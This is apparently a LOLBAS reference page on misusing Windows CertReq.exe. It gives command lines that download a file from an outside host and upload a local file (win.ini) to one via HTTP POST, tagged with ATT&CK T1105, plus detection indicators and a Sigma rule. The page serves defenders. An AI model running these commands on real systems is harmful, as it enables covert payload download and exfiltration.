



# /CertReq.exe ☆ Star 7,060

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Used for requesting and managing certificates

**Paths:**

C:\Windows\System32\certreq.exe  
C:\Windows\SysWOW64\certreq.exe

**Resources:**

- <https://dtm.uk/certreq>

**Acknowledgements:**

- David Middlehurst ([@dtmsecurity](#))

**Detections:**

- Sigma: [proc\\_creation\\_win\\_lolbin\\_susp\\_certreq\\_download.yml](#)
- IOC: certreq creates new files
- IOC: certreq makes POST requests

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Save the response from a HTTP POST to the endpoint <https://example.org/> as output.txt in the current directory

```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```

**Use case:** Download file from Internet  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
**ATT&CK® technique:** [T1105: Ingress Tool Transfer](#)

## Upload

Send the file c:\windows\win.ini to the endpoint <https://example.org/> via HTTP POST and show response in terminal

```
CertReq -Post -config https://example.org/ c:\windows\win.ini
```

**Use case:** Upload  
**Privileges required:** User  
**Operating systems:** Windows 10, Windows 11  
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